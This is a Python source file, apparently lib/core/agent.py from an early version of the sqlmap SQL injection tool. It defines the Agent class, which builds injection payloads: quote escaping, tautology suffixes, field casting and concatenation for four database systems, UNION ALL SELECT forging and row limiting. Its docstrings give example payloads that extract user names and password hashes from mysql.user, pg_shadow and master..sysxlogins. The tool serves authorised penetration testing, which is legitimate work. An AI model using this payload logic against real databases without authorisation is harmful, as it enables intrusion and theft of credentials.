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sqlmap/lib/core/agent.py

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#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from lib.core.common import randomInt
from lib.core.common import randomStr
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import queries
from lib.core.data import temp
from lib.core.exception import sqlmapNoneDataException
from lib.core.exception import sqlmapUnsupportedDBMSException
class Agent:
"""
This class defines the SQL agent methods.
"""
def __init__(self):
temp.delimiter = randomStr(6)
temp.start = randomStr(6)
temp.stop = randomStr(6)
def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False):
"""
This method replaces the affected parameter with the SQL
injection statement to request
"""
negValue = ""
retValue = ""
if negative == True or conf.paramNegative == True:
negValue = "-"
# After identifing the injectable parameter
if kb.injPlace == "User-Agent":
retValue = kb.injParameter.replace(kb.injParameter,
"%s%s" % (negValue, kb.injParameter + newValue))
elif kb.injParameter:
paramString = conf.parameters[kb.injPlace]
paramDict = conf.paramDict[kb.injPlace]
value = paramDict[kb.injParameter]
retValue = paramString.replace("%s=%s" % (kb.injParameter, value),
"%s=%s%s" % (kb.injParameter, negValue, value + newValue))
# Before identifing the injectable parameter
elif parameter == "User-Agent":
retValue = value.replace(value, newValue)
else:
paramString = conf.parameters[place]
retValue = paramString.replace("%s=%s" % (parameter, value),
"%s=%s" % (parameter, newValue))
return retValue
def fullPayload(self, query):
query = self.prefixQuery(query)
query = self.postfixQuery(query)
payload = self.payload(newValue=query)
return payload
def prefixQuery(self, string):
"""
This method defines how the input string has to be escaped
to perform the injection depending on the injection type
identified as valid
"""
query = ""
if conf.prefix:
query = conf.prefix
else:
if kb.injType == "numeric" or conf.postfix:
pass
elif kb.injType in ( "stringsingle", "likesingle" ):
query = "'"
elif kb.injType in ( "stringdouble", "likedouble" ):
query = "\""
else:
raise sqlmapNoneDataException, "unsupported injection type"
if kb.parenthesis not in ( None, 0 ):
query += "%s " % (")" * kb.parenthesis)
query += string
return query
def postfixQuery(self, string, comment=None):
"""
This method appends the DBMS comment to the
SQL injection request
"""
randInt = randomInt()
randStr = randomStr()
if comment:
string += comment
if conf.postfix:
string += " %s" % conf.postfix
else:
if kb.parenthesis != None:
string += " AND %s" % ("(" * kb.parenthesis)
else:
raise sqlmapNoneDataException, "unable to get the number of parenthesis"
if kb.injType == "numeric":
string += "%d=%d" % (randInt, randInt)
elif kb.injType == "stringsingle":
string += "'%s'='%s" % (randStr, randStr)
elif kb.injType == "likesingle":
string += "'%s' LIKE '%s" % (randStr, randStr)
elif kb.injType == "stringdouble":
string += "\"%s\"=\"%s" % (randStr, randStr)
elif kb.injType == "likedouble":
string += "\"%s\" LIKE \"%s" % (randStr, randStr)
else:
raise sqlmapNoneDataException, "unsupported injection type"
return string
def nullAndCastField(self, field):
"""
Take in input a field string and return its processed nulled and
casted field string.
Examples:
MySQL input: VERSION()
MySQL output: IFNULL(CAST(VERSION() AS CHAR(10000)), ' ')
MySQL scope: VERSION()
PostgreSQL input: VERSION()
PostgreSQL output: COALESCE(CAST(VERSION() AS CHARACTER(10000)), ' ')
PostgreSQL scope: VERSION()
Oracle input: banner
Oracle output: NVL(CAST(banner AS VARCHAR(4000)), ' ')
Oracle scope: SELECT banner FROM v$version WHERE ROWNUM=1
Microsoft SQL Server input: @@VERSION
Microsoft SQL Server output: ISNULL(CAST(@@VERSION AS VARCHAR(8000)), ' ')
Microsoft SQL Server scope: @@VERSION
@param field: field string to be processed
@type field: C{str}
@return: field string nulled and casted
@rtype: C{str}
"""
if field.upper().endswith(", ROWNUM AS LIMIT"):
return field
nulledCastedField = queries[kb.dbms].cast % field
nulledCastedField = queries[kb.dbms].isnull % nulledCastedField
return nulledCastedField
def nullCastConcatFields(self, fields):
"""
Take in input a sequence of fields string and return its processed
nulled, casted and concatenated fields string.
Examples:
MySQL input: user,password
MySQL output: IFNULL(CAST(user AS CHAR(10000)), ' '),'UWciUe',IFNULL(CAST(password AS CHAR(10000)), ' ')
MySQL scope: SELECT user, password FROM mysql.user
PostgreSQL input: usename,passwd
PostgreSQL output: COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'xRBcZW'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')
PostgreSQL scope: SELECT usename, passwd FROM pg_shadow
Oracle input: COLUMN_NAME,DATA_TYPE
Oracle output: NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'UUlHUa'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')
Oracle scope: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'
Microsoft SQL Server input: name,master.dbo.fn_varbintohexstr(password)
Microsoft SQL Server output: ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'nTBdow'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')
Microsoft SQL Server scope: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
@param fields: fields string to be processed
@type fields: C{str}
@return: fields string nulled, casted and concatened
@rtype: C{str}
"""
if not kb.dbmsDetected:
return fields
fields = fields.replace(", ", ",")
fieldsSplitted = fields.split(",")
dbmsDelimiter = queries[kb.dbms].delimiter
nulledCastedFields = []
for field in fieldsSplitted:
nulledCastedFields.append(self.nullAndCastField(field))
delimiterStr = "%s'%s'%s" % (dbmsDelimiter, temp.delimiter, dbmsDelimiter)
nulledCastedConcatFields = delimiterStr.join([field for field in nulledCastedFields])
return nulledCastedConcatFields
def getFields(self, query):
"""
Take in input a query string and return its fields (columns) and
more details.
Example:
Input: SELECT user, password FROM mysql.user
Output: user,password
@param query: query to be processed
@type query: C{str}
@return: query fields (columns) and more details
@rtype: C{str}
"""
if query.startswith("SELECT ") and "(SELECT " in query:
firstChar = "\\("
else:
firstChar = "\\A"
fieldsSelectTop = re.search("%sSELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM" % firstChar, query, re.I)
fieldsSelectDistinct = re.search("%sSELECT\s+DISTINCT\((.+?)\)\s+FROM" % firstChar, query, re.I)
fieldsSelectFrom = re.search("%sSELECT\s+(.+?)\s+FROM\s+" % firstChar, query, re.I)
fieldsSelect = re.search("%sSELECT\s+(.*)" % firstChar, query, re.I)
fieldsNoSelect = query
if fieldsSelectTop:
fieldsToCastStr = fieldsSelectTop.groups()[0]
elif fieldsSelectDistinct:
fieldsToCastStr = fieldsSelectDistinct.groups()[0]
elif fieldsSelectFrom:
fieldsToCastStr = fieldsSelectFrom.groups()[0]
elif fieldsSelect:
fieldsToCastStr = fieldsSelect.groups()[0]
elif fieldsNoSelect:
fieldsToCastStr = fieldsNoSelect
fieldsToCastList = fieldsToCastStr.replace(", ", ",")
fieldsToCastList = fieldsToCastList.split(",")
if query.startswith("SELECT ") and "(SELECT " in query:
fieldsSelectFrom = None
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsToCastList, fieldsToCastStr
def concatQuery(self, query):
"""
Take in input a query string and return its processed nulled,
casted and concatenated query string.
Examples:
MySQL input: SELECT user, password FROM mysql.user
MySQL output: CONCAT('mMvPxc',IFNULL(CAST(user AS CHAR(10000)), ' '),'nXlgnR',IFNULL(CAST(password AS CHAR(10000)), ' '),'YnCzLl') FROM mysql.user
PostgreSQL input: SELECT usename, passwd FROM pg_shadow
PostgreSQL output: 'HsYIBS'||COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'KTBfZp'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')||'LkhmuP' FROM pg_shadow
Oracle input: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS'
Oracle output: 'GdBRAo'||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'czEHOf'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')||'JVlYgS' FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS'
Microsoft SQL Server input: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
Microsoft SQL Server output: 'QQMQJO'+ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'kAtlqH'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')+'lpEqoi' FROM master..sysxlogins
@param query: query string to be processed
@type query: C{str}
@return: query string nulled, casted and concatenated
@rtype: C{str}
"""
concatQuery = ""
query = query.replace(", ", ",")
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, _, fieldsToCastStr = self.getFields(query)
castedFields = self.nullCastConcatFields(fieldsToCastStr)
concatQuery = query.replace(fieldsToCastStr, castedFields, 1)
if kb.dbms == "MySQL":
if fieldsSelectFrom:
concatQuery = concatQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
concatQuery = concatQuery.replace(" FROM ", ",'%s') FROM " % temp.stop, 1)
elif fieldsSelect:
concatQuery = concatQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
concatQuery += ",'%s')" % temp.stop
elif fieldsNoSelect:
concatQuery = "CONCAT('%s',%s,'%s')" % (temp.start, concatQuery, temp.stop)
elif kb.dbms in ( "Oracle", "PostgreSQL" ):
if fieldsSelectFrom:
concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
concatQuery = concatQuery.replace(" FROM ", "||'%s' FROM " % temp.stop, 1)
elif fieldsSelect:
concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
concatQuery += "||'%s'" % temp.stop
if kb.dbms == "Oracle":
concatQuery += " FROM DUAL"
elif fieldsNoSelect:
concatQuery = "'%s'||%s||'%s'" % (temp.start, concatQuery, temp.stop)
if kb.dbms == "Oracle":
concatQuery += " FROM DUAL"
elif kb.dbms == "Microsoft SQL Server":
if fieldsSelectTop:
topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatQuery, re.I).group(1)
concatQuery = concatQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, temp.start), 1)
concatQuery = concatQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
elif fieldsSelectFrom:
concatQuery = concatQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
concatQuery = concatQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
elif fieldsSelect:
concatQuery = concatQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
concatQuery += "+'%s'" % temp.stop
elif fieldsNoSelect:
concatQuery = "'%s'+%s+'%s'" % (temp.start, concatQuery, temp.stop)
return concatQuery
def forgeInbandQuery(self, query, exprPosition=None):
"""
Take in input an query (pseudo query) string and return its
processed UNION ALL SELECT query.
Examples:
MySQL input: CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)) FROM mysql.user
MySQL output: UNION ALL SELECT NULL, CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)), NULL FROM mysql.user-- AND 7488=7488
PostgreSQL input: (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)) FROM pg_shadow
PostgreSQL output: UNION ALL SELECT NULL, (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)), NULL FROM pg_shadow-- AND 7133=713
Oracle input: (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))
Oracle output: UNION ALL SELECT NULL, (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)), NULL FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))-- AND 6738=6738
Microsoft SQL Server input: (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)) FROM master..sysxlogins
Microsoft SQL Server output: UNION ALL SELECT NULL, (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)), NULL FROM master..sysxlogins-- AND 3254=3254
@param query: it is a processed query string unescaped to be
forged within an UNION ALL SELECT statement
@type query: C{str}
@param exprPosition: it is the NULL position where it is possible
to inject the query
@type exprPosition: C{int}
@return: UNION ALL SELECT query string forged
@rtype: C{str}
"""
inbandQuery = self.prefixQuery(" UNION ALL SELECT ")
if query.startswith("TOP"):
topNum = re.search("\ATOP\s+([\d]+)\s+", query, re.I).group(1)
query = query[len("TOP %s " % topNum):]
inbandQuery += "TOP %s " % topNum
if not exprPosition:
exprPosition = kb.unionPosition
if kb.dbms == "Oracle" and inbandQuery.endswith(" FROM DUAL"):
inbandQuery = inbandQuery[:-len(" FROM DUAL")]
for element in range(kb.unionCount):
if element > 0:
inbandQuery += ", "
if element == exprPosition:
if " FROM " in query and not query.startswith("SELECT "):
conditionIndex = query.index(" FROM ")
inbandQuery += query[:conditionIndex]
else:
inbandQuery += query
else:
inbandQuery += "NULL"
if " FROM " in query and not query.startswith("SELECT "):
conditionIndex = query.index(" FROM ")
inbandQuery += query[conditionIndex:]
if kb.dbms == "Oracle":
if " FROM " not in inbandQuery:
inbandQuery += " FROM DUAL"
inbandQuery = self.postfixQuery(inbandQuery, kb.unionComment)
return inbandQuery
def limitQuery(self, num, query, field):
"""
Take in input a query string and return its limited query string.
Example:
Input: SELECT user FROM mysql.users
Output: SELECT user FROM mysql.users LIMIT <num>, 1
@param num: limit number
@type num: C{int}
@param query: query to be processed
@type query: C{str}
@param field: field within the query
@type field: C{list}
@return: limited query string
@rtype: C{str}
"""
limitedQuery = query
limitStr = queries[kb.dbms].limit
fromIndex = limitedQuery.index(" FROM ")
untilFrom = limitedQuery[:fromIndex]
fromFrom = limitedQuery[fromIndex+1:]
if kb.dbms in ( "MySQL", "PostgreSQL" ):
limitStr = queries[kb.dbms].limit % (num, 1)
limitedQuery += " %s" % limitStr
elif kb.dbms == "Oracle":
if " ORDER BY " in limitedQuery and "(SELECT " in limitedQuery:
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
if query.startswith("SELECT "):
limitedQuery = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr)
else:
limitedQuery = "%s FROM (SELECT %s, %s" % (untilFrom, ", ".join(f for f in field), limitStr)
limitedQuery = limitedQuery % fromFrom
limitedQuery += "=%d" % (num + 1)
elif kb.dbms == "Microsoft SQL Server":
if " ORDER BY " in limitedQuery:
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
if not limitedQuery.startswith("SELECT TOP ") and not limitedQuery.startswith("TOP "):
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
limitedQuery = "%s WHERE %s " % (limitedQuery, field)
limitedQuery += "NOT IN (%s" % (limitStr % num)
limitedQuery += "%s %s)" % (field, fromFrom)
else:
topNums = re.search("TOP\s+([\d]+)\s+.+?\s+FROM\s+.+?\s+WHERE\s+.+?\s+NOT\s+IN\s+\(SELECT\s+TOP\s+([\d]+)\s+", limitedQuery, re.I).groups()
quantityTopNums = topNums[0]
limitedQuery = limitedQuery.replace("TOP %s" % quantityTopNums, "TOP 1", 1)
startTopNums = topNums[1]
limitedQuery = limitedQuery.replace(" (SELECT TOP %s" % startTopNums, " (SELECT TOP %d" % num)
return limitedQuery
def forgeCaseStatement(self, expression):
"""
Take in input a query string and return its CASE statement query
string.
Example:
Input: (SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y'
Output: SELECT (CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y') THEN 1 ELSE 0 END)
@param expression: expression to be processed
@type num: C{str}
@return: processed expression
@rtype: C{str}
"""
return queries[kb.dbms].case % expression
# SQL agent
agent = Agent()
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